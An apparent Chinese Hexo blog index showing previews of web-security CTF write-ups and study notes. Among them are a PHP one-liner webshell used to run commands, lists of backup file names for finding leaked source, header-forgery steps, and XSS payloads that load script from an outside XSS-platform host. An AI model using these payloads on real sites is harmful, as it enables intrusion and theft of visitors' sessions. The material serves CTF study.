备份文件下载
网站源码当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露。
常见的网站源码备份文件名：
web
website
backup
back
www
wwwroot
temp
常见的网站源码备份文件后缀：
tar
tar.gz
zip
rar
JavaScript笔记
简介JavaScript是一种高级的、解释型的编程语言。JavaScript是一门基于原型、头等函数的语言，是一门多范式的语言，它支持面向对象程序设计，指令式编程，以及函数式编程。在语法结构上，它与C语言有很多相似（例如if条件语句、switch语句、while循环、do-while循环等）。
JavaScript是一种脚本语言，其源代码在发往客户端执行之前不需经过编译，而是将文本格式的字符代码发送给浏览器由浏览器解释执行。解释型语言的弱点是安全性较差，而且在JavaScript中，如果一条执行不了，那么下面的语言也无法执行。
用法HTML 中的脚本必须位于 <script>与</script>标签之间。脚本可被放置在 HTML 页面的<body>和 <head> 部分中。
如果需要在HTML页面插入JavaScript，应使用<script>和</script>标签
脚本可位于 HTML 的<body>或<head>部分中，或者同时存在于两个部分中。还可以把脚本保存在外部文件。
通常的做法 ...
HTML笔记
简介超文本标记语言（Hyper Text Markup Language，简称：HTML）是一种用于创建网页的标准标记语言。常与CSS、JavaScript一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面。
HTML是一种标记语言而非编程语言。HTML 使用标记标签来描述网页。HTML 文档包含了HTML 标签及文本内容，HTML文档也叫做 web 页面。
基础部分示例
12345678910111213141516<!DOCTYPE html><html><head> <meta charset="UTF-8"><!--定义文档的编码格式为UTF-8--> <title>learn</title><!--定义文档的标题为learn--></head><body> <h1>一</h1><!--一级标题“一”--> <h2>二</h2><!-- ...
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick StartCreate a new post1$ hexo new "My New Post"
More info: Writing
Run server1$ hexo server
More info: Server
Generate static files1$ hexo generate
More info: Generating
Deploy to remote sites1$ hexo deploy
More info: Deployment
webshell
题目及分析小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
打开后出现
你会使用webshell吗？
<?php @eval($_POST['shell']);?>
这个明显是一句话木马。
eval()将括号里的字符串按照PHP代码来执行。
目标了解一句话木马，学会使用webshell
工具中国蚁剑或hackbar
步骤中国蚁剑解决1.首先添加数据
将URL地址粘贴进去，连接密码为shell，然后测试连接。不出意外的话，就能连接成功。连接成功后，点击添加。
2.进入网站目录寻找flag
在/var/www/html/中发现flag.txt，打开后得到cyberpeace{5d017cac216724ffba8b9c7f2ee1c366}
hackbar解决1.POST方式传递参数
在hackbar中将shell=system(“ls”);使用post方式上传上去，然后服务器执行ls命令，将当前工作目录的内容列出。
flag.txt index.php被列出。
2.打开flag.txt
然后在hackbar中将shell=system( ...
xff_referer
题目描述X老师告诉小宁其实xff和referer是可以伪造的。
打开场景，得到提示”ip地址必须为123.123.123.123“
解题使用burpsuite抓包，报文如下
1234567891011GET / HTTP/1.1Host: 111.200.241.244:53941Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept- ...
get&post
CTFHub_Write_Up
Web前置技能——HTTP协议——请求方式
题意点击所给链接，下列代码显示在页面上
123456HTTP Method is GETUse CTF**B Method, I will give you flag.Hint: If you got 「HTTP Method Not Allowed」 Error, you should request index.php.
说明本题需要用GET方式请求index.php,而且要用CTF**B Method
解题如果使用get方式的话，的不到flag，响应包如下
1234567891011121314151617181920212223HTTP/1.1 200 OKServer: openresty/1.19.3.2Date: Sun, 05 Dec 2021 13:56:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/5.6.40Access-Control-Allow-Origin: *Acces ...
GET&POST请求
GET请求使用GET方式提交一个名为a，值为1的变量。
1GET /?a=1 HTTP/1.1
POST请求使用POST方式提交一个名为b，值为2的变量。
将请求方式改为POST，然后将下列代码写在最后
1Content-Type: application/x-www-form-urlencoded
然后空一行输入需要提交的变量
例如：
123Content-Type: application/x-www-form-urlencodedb=2
知识杂记
URI、URL、URNURIURI(uniform resource identifier)，统一资源标识符，用来唯一的标识一个资源。Web上可用的每种资源如HTML文档、图像、视频片段、程序等都是一个来URI来定位的URI一般由三部组成：①访问资源的命名机制②存放资源的主机名③资源自身的名称，由路径表示，着重强调于资源。
URLURL(uniform resource locator)，统一资源定位器，它是一种具体的URI，即URL可以用来标识一个资源，而且还指明了如何locate这个资源。
采用URL可以用一种统一的格式来描述各种信息资源，包括文件、服务器的地址和目录等。URL一般由三部组成：①协议(或称为服务方式)②存有该资源的主机IP地址(有时也包括端口号)③主机资源的具体地址。如目录和文件名等
例如https://s1gma0.github.io/category/CTF/index.php?boardID=5&ID=24618&page=1#anchor
一个完整的URL包括以下几个部分：①协议：在internet中可以使用很多协议，http、https、f ...
XSSplatform
将如下代码植入怀疑出现xss的地方（注意’的转义），即可在 项目内容 观看XSS效果
</textarea>'"><script src=http://xsscom.com//a0zR72></script>
或者
</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxsscom.com%2F%2Fa0zR72%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
再或者以你任何想要的方式插入
http://xsscom.com//a0zR72
再 ...